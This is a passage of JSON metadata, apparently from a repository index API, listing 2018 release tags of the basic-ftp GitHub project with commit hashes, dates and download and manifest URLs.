api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0/manifests"},{"name":"v2.17.1","sha":"6909f1615674c4b07bfc383f83e0dc73fdd0e145","kind":"tag","published_at":"2018-12-29T09:54:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1/manifests"},{"name":"v2.17.0","sha":"9572a2ce24541e08ab75b3ff31b459aeb7c79c17","kind":"tag","published_at":"2018-12-04T18:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0/manifests"},{"name":"v2.16.1","sha":"e6203584e4fdcb8e9d2424ba49375c8205d02277","kind":"tag","published_at":"2018-12-01T15:36:05.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1/manifests"},{"name":"v2.16.0","sha":"d8029d07b3e0859f3912c291a39d8cb05d0c9dda","kind":"tag","published_at":"2018-11-14T21:41:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0/manifests"},{"name":"v2.15.0","sha":"d0d75c4b2fbb473e992868aa94df67f3b1a90ce8","kind":"tag","published_at":"2018-10-31T20:42:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.15.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0/manifests"},{"name":"v2.14.4","sha":"e75b70515a81586bd322598e478b53bb56e2bd4b","kind":"tag","published_at":"2018-10-24T19:18:03.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4/manifests"},{"name":"v2.14.3","sha":"2465775df11f56ec50b9302eb734c13892d4c546","kind":"tag","published_at":"2018-10-07T18:00:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3/manifests"},{"name":"v2.14.2","sha":"1e65d2ca5bd2863c5044f63a358f4e5d852375d2","kind":"tag","published_at":"2018-10-03T05:45:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2/manifests"},{"name":"v2.14.1","sha":"b7c2b4c8e4442998cfe3c82e1d386c09a9d3b35c","kind":"tag","published_at":"2018-10-03T05:38:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1/manifests"},{"name":"v2.14.0","sha":"71f4701a6f462377b0ff0d6381d329112726a6ba","kind":"tag","published_at":"2018-09-27T06:02:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0/manifests"},{"name":"v2.13.2","sha":"52b5ebdd9486cad6a5c8f3bd30a7c6dd167f9829","kind":"tag","published_at":"2018-06-30T13:11:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2/manifests"},{"name":"v2.13.1","sha":"cc83329135e4b024c0bbdbbf9240478ff3418a3f","kind":"tag","published_at":"2018-06-09T17:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1/manifests"},{"name":"v2.13.0","sha":"542ce43aec992ba6d88f54f2fef281dcd2aad8d8","kind":"tag","published_at":"2018-06-05T20:06:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0/manifests"},{"name":"v2.12.3","sha":"092c29720715d9096bda60854be658e6fa69c17c","kind":"tag","published_at":"2018-05-27T09:50:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3/manifests"},{"name":"v2.12.2","sha":"98978f9ca78ab371001bdbf99085ee8c953b919f","kind":"tag","published_at":"2018-05-18T19:08:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2/manifests"},{"name":"v2.12.1","sha":"00e6e3d987579fd8ce9ff8472cee16bcf3b84c2c","kind":"tag","published_at":"2018-05-18T15:19:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1/manifests"},{"name":"v2.12.0","sha":"1c8f44b0ab6515d7ab703f68403a8da6a5b5046e","kind":"tag","published_at":"2018-05-11T15:47:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0/manifests"},{"name":"v2.11.0","sha":"0e2555f2c3272f5f4a62cfeb071a3b68ecbac343","kind":"tag","published_at":"2018-04-30T16:57:39.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.11.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0/manifests"},{"name":"v2.10.0","sha":"c5daa72a6223fe25ffde49118177e18417b00021","kind":"tag","published_at":"2018-04-23T20:11:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.10.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0/manifests"},{"name":"v2.9.2","sha":"95ff793953801008c26c719516296bbd14dd8b4e","kind":"tag","published_at":"2018-04-04T19:32:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2/manifests"},{"name":"v2.9.1","sha":"44b64e38a97a53a6897db55eb0d45a28f89598c2","kind":"tag","published_at":"2018-03-28T11:09:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1/manifests"},{"name":"v2.9.0","sha":"f4dada9373271daaa5e65935d8187fad743f121c","kind":"tag","published_at":"2018-03-17T10:05:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0/manifests"},{"name":"v2.8.3","sha":"07af61fa353f485cbc0741d00e24e3ccdd68d87d","kind":"tag","published_at":"2018-02-28T18:13:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3/manifests"},{"name":"v2.8.2","sha":"d19d6f8cc6262ed35c404169db2507b43ac9ba7a","kind":"tag","published_at":"2018-02-12T18:10:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2/manifests"},{"name":"v2.8.1","sha":"f3f80976c21623e50f51cab48a2fc1b766f8bc37","kind":"tag","published_at":"2018-02-08T17:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"bc93080f0223067665021001f94bc19619be8968","kind":"tag","published_at":"2018-02-03T06:52:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0/manifests"},{"name":"v2.7.1","sha":"27e90d8b50271c229ac59d914c16b9bd13d8712d","kind":"tag","published_at":"2018-01-31T13:02:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"251191cc2c2d8b0aa208777e1c32dc42a8904383","kind":"tag","published_at":"2018-01-31T12:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0/manifests"},{"name":"v2.6.2","sha":"838de7f0688634bcf4aff67ab7c869b24ce00f02","kind":"tag","published_at":"2018-01-30T21:11:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2/manifests"},{"name":"v2.6.1","sha":"624ce1caec7c273190e63150ec5063a6df6c756d","kind":"tag","published_at":"2018-01-29T16:18:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1/manifests"},{"name":"v2.6.0","sha":"345cae67fd86fb42c935886cbc696eb503a2d831","kind":"tag","published_at":"2018-01-29T11:25:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0/manifests"},{"name":"v2.5.2","sha":"0e78c6ab45a29c0a89f259cd0de24d3f2788ea2f","kind":"tag","published_at":"2018-01-24T18:09:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2/manifests"},{"name":"v2.5.1","sha":"37a4d6ab1a018c929f0ac7a85b1367e7e20ef3d0","kind":"tag","published_at":"2018-01-24T10:06:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1/manifests"},{"name":"v2.5.0","sha":"ccfa95fe4c8b2a816f3ea3a704ed56c6f90cce6c","kind":"tag","published_at":"2018-01-24T10:04:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0/manifests"},{"name":"v2.4.2","sha":"1fb6d04bc34a85be555ec55d1ba6c31fa45d1051","kind":"commit","published_at":"2018-01-20T12:39:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"6322a864584c95b62687b23cd37e57905663ca6c","kind":"commit","published_at":"2018-01-20T11:47:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"306418be304fdeac9cf9b0ec52fef67458da793f","kind":"tag","published_at":"2018-01-15T21:32:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0/manifests"},{"name":"v2.3.3","sha":"070324be160af7f7e1408823eaa61c95b34fef0a","kind":"tag","published_at":"2018-01-14T17:55:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3/manifests"},{"name":"v2.3.2","sha":"f378b1b47dca0dd6aad8b98fa059994c74899039","kind":"tag","published_at":"2018-01-14T15:45:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"f31e1b396304968faca207b259399663e54a2134","kind":"tag","published_at":"2018-01-14T08:49:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"0b94f445c32fab5741621e5f25be0b4e2d0c3852","kind":"tag","published_at":"2018-01-13T21:04:02.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0/manifests"},{"name":"v2.2.1","sha":"bcbe53c1c4bfe7a0bdddb053bd236853f1f27dbe","kind":"tag","published_at":"2018-01-13T20:38:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"3d7a0690205e78c7792724f013ef3910e0ef77aa","kind":"tag","published_at":"2018-01-13T17:30:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:git